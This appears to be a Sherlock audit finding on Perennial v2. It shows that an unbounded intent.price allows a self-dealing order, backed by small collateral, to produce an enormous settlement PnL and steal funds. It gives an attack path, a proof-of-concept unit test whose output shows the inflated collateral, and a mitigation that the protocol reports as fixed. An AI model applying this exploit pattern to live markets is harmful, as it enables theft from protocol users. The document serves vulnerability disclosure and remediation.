bin2chen - Maliciously specifying a very large intent.price will result in a large gain at settlement, stealing funds

[sherlock-admin4]

bin2chen

High

Maliciously specifying a very large intent.price will result in a large gain at settlement, stealing funds

Summary

When Market.sol generates an order, if you specify a very large intent.price, you don't need additional collateral to guarantee it, and the order is submitted normally.
But the settlement will generate a large revenue pnl, the user can maliciously construct a very large intent.price, steal revenue

Root Cause

in CheckpointLib.sol#L79

when the order is settled override pnl is calculated
pnl = (toVersion.price - Intent.price) * taker()

This value is counted towards the collateral local.collateral

However, when adding a new order, there is no limit on Intent.price, and the user only needs small collateral that is larger than what is required by taker() * lastVersion.price

In this way, a malicious user can specify a very large Intent.price, and both parties need only a small amount of collateral to generate a successful order

But at settlement, the profitable party gets the enlarged pnl and converts it to collateral, which the user can then steal.

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

Example：
lastVerson.price = 123
Intent.price = 1250000000000 (Far more than the normal price)
Intent.postion = 5

1. Alice deposit collateral = 10000 (As long as it is greater than Intent.postion * lastVerson.price)
2. Alice_fake_user deposit collateral = 10000 (As long as it is greater than Intent.postion * lastVerson.price)
3. alice execute update(account= alice, Intent = {account=Alice_fake_user , postion = 5 , price = 1250000000000 )
   • This order can be submitted successfully because the collateral is only related to Intent.postion and lastVerson.price
4. lastVerson.price still = 123
5. settle(alice) , pnl： (Intent.price - lastVerson.price) * Intent.postion = (1250000000000 - 123) * 5

Note:Alice_fake_user will be a huge loss, but that's ok, relative to profit, giving up very small collateral 10,000.

Impact

Maliciously specifying a very large intent.price will result in a large gain at settlement, stealing funds

PoC

The following example demonstrates that specifying a very large intent.price with a very small collateral
generating a very large return to collateral

add to /perennial-v2/packages/perennial/test/unit/market/Market.test.ts

        it('test_intent_price', async () => {
          factory.parameter.returns({
            maxPendingIds: 5,
            protocolFee: parse6decimal('0.50'),
            maxFee: parse6decimal('0.01'),
            maxFeeAbsolute: parse6decimal('1000'),
            maxCut: parse6decimal('0.50'),
            maxRate: parse6decimal('10.00'),
            minMaintenance: parse6decimal('0.01'),
            minEfficiency: parse6decimal('0.1'),
            referralFee: parse6decimal('0.20'),
            minScale: parse6decimal('0.001'),
          })

          const marketParameter = { ...(await market.parameter()) }
          marketParameter.takerFee = parse6decimal('0.01')
          await market.updateParameter(marketParameter)

          const riskParameter = { ...(await market.riskParameter()) }
          await market.updateRiskParameter({
            ...riskParameter,
            takerFee: {
              ...riskParameter.takerFee,
              linearFee: parse6decimal('0.001'),
              proportionalFee: parse6decimal('0.002'),
              adiabaticFee: parse6decimal('0.004'),
            },
          })
          const test_price = '1250000000000';
          const SETTLEMENT_FEE = parse6decimal('0.50')
          const intent: IntentStruct = {
            amount: POSITION.div(2),
            price: parse6decimal(test_price),
            fee: parse6decimal('0.5'),
            originator: liquidator.address,
            solver: owner.address,
            collateralization: parse6decimal('0.01'),
            common: {
              account: user.address,
              signer: liquidator.address,
              domain: market.address,
              nonce: 0,
              group: 0,
              expiry: 0,
            },
          }

          await market
            .connect(userB)
            ['update(address,uint256,uint256,uint256,int256,bool)'](userB.address, POSITION, 0, 0, COLLATERAL, false)

          await market
            .connect(user)
            ['update(address,uint256,uint256,uint256,int256,bool)'](user.address, 0, 0, 0, COLLATERAL, false)
          await market
            .connect(userC)
            ['update(address,uint256,uint256,uint256,int256,bool)'](userC.address, 0, 0, 0, COLLATERAL, false)

          verifier.verifyIntent.returns()

          // maker
          factory.authorization
            .whenCalledWith(userC.address, userC.address, constants.AddressZero, liquidator.address)
            .returns([true, false, parse6decimal('0.20')])
          // taker
          factory.authorization
            .whenCalledWith(user.address, userC.address, liquidator.address, liquidator.address)
            .returns([false, true, parse6decimal('0.20')])

          console.log("before collateral:"+(await market.locals(userC.address)).collateral.div(1000000));
          await 
            market
              .connect(userC)
              [
                'update(address,(int256,int256,uint256,address,address,uint256,(address,address,address,uint256,uint256,uint256)),bytes)'
              ](userC.address, intent, DEFAULT_SIGNATURE);

          oracle.at
            .whenCalledWith(ORACLE_VERSION_2.timestamp)
            .returns([ORACLE_VERSION_2, { ...INITIALIZED_ORACLE_RECEIPT, settlementFee: SETTLEMENT_FEE }])

          oracle.at
            .whenCalledWith(ORACLE_VERSION_3.timestamp)
            .returns([ORACLE_VERSION_3, { ...INITIALIZED_ORACLE_RECEIPT, settlementFee: SETTLEMENT_FEE }])
          oracle.status.returns([ORACLE_VERSION_3, ORACLE_VERSION_4.timestamp])
          oracle.request.whenCalledWith(user.address).returns()
          
          await settle(market, user)
          await settle(market, userB)
          await settle(market, userC)

          console.log("after collateral:"+(await market.locals(userC.address)).collateral.div(1000000));
        })

$ yarn test --grep test_intent_price

  Market
    already initialized
      #update
        signer
before collateral:10000
after collateral:6250000009384
          ✔ test_intent_price (44878ms)

Mitigation

intent.price - lastVersion.price needs to be within a reasonable range and the difference must not be too large. And the difference needs to be secured by collateral.

[sherlock-admin2]

The protocol team fixed this issue in the following PRs/commits:
equilibria-xyz/perennial-v2#466

[arjun-io]

Note: Since the recommended by panprog here: #14 has two parts (checking collateral delta and limiting intent price deviation) we opted to implement the fixes in two PRs - however Sherlock's dashboard doesn't support two fix PRs for the same repo so linking the other fix as a comment here: equilibria-xyz/perennial-v2#468